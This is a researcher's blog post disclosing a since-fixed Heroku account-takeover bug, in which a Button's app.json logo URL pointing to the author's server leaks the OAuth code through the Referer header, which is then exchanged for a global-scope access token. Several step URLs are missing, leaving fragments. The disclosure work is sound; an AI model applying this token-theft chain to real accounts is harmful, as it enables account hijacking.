This is the first time Im proud of a vulnerability I find.
Prior to publishing this blog post, the team at Heroku fixed the vulnerability on 5/26, and it is no longer exploitable.
Heroku has a feature called Buttons, which let you one-click provision, configure and deploy third party components, libraries and pattern apps. You can notice the button on Github like here: https://github.com/ParsePlatform/parse-server-example. In this case, when you click on , you are redirected to https://dashboard.heroku.com/new?button-url=https%3A%2F%2Fgithub.com%2FParsePlatform%2Fparse-server-example&template=https%3A%2F%2Fgithub.com%2FParsePlatform%2Fparse-server-example.
Anyone can create a Button: https://devcenter.heroku.com/articles/heroku-button.
I created a Button https://github.com/esevece/heroku_test that only includes the required file
app.json is the file from where Heroku gets the information about the Button.
I tried injecting HTML attributes and tags in
app.json to achieve XSS, but the special characters are being escaped in the client side (if you can do it, report it!). However, I noticed that I can set the URL of the
"logo" to any value. This URL is used as the
src of an
<img> created when https://dashboard.heroku.com/new is loaded.
Referer header is sent with the URL that requested the image as the value, which allows the image to capture this URL in the server-side. I was only able to capture the
Referer from a different domain using Firefox, Safari, Internet Explorer and Edge, but not using Chrome.
More ways to leak HTTP requests: https://github.com/cure53/HTTPLeaks.
What I had until now was that when I load https://dashboard.heroku.com/new?template=https%3A%2F%2Fgithub.com%2FParsePlatform%2Fparse-server-example&other_parameter=with_value,
<img src="https://avatars0.githubusercontent.com/u/1294580?v=3&s=200" class=""> is created and the browser makes a request to https://avatars0.githubusercontent.com/u/1294580?v=3&s=200 with the header
Referer: https://dashboard.heroku.com/new?template=https%3A%2F%2Fgithub.com%2FParsePlatform%2Fparse-server-example&other_parameter=with_value. But I didnt have any critical parameter+value in the URL.
I played with OAuth and the applications owned by Heroku, with the intention to point the redirect_uri to https://dashboard.heroku.com/new?template= where I could leak the
Referer without success.
I dont remember when, but I noticed that a parameter code is added to https://dashboard.heroku.com/[path_requested] after authentication. The value of this parameter is sent to an endpoint which doesnt have CSRF protection and returns a JSON response including an
"access_token" with global scope. This global scope allows you to do anything with the account using the API! However I couldnt change the password or the email of the account, until [to be continued ]
Only worked if the user was already authenticated.
Send user to
User is redirected to
User is redirected to
And finally, the user is redirected to
Once the page loads, a request is made to the Github API to get the file app.json
<img src="https://u00f1.xyz/heroku/poc.php"> is created and the image is loaded, sending the code in the
My file poc.php captures the
Referer, extracts the code and makes a POST request to
with the value of the parameter password set to the value of code
poc.php takes the
"access_token" from the last response and makes a GET request to
with the header
Authorization: set to
poc.php takes the
"email" from the last response and sends an email to the address
After reporting the vulnerability to Heroku, Patrik from Bugcrowd asked me to do whatever I could with his Heroku account. So, I started to look at what I could do and noticed that I couldnt change the email or password of his account.
I kept looking for ways to really take over his account, until I decided to try to use his access_token (that I had taken using the attack) as his password, and it worked! So, I changed his email.
If something is not correct or well explained, let me know. Maybe is because of my ignorance, my poor English or because I missed something.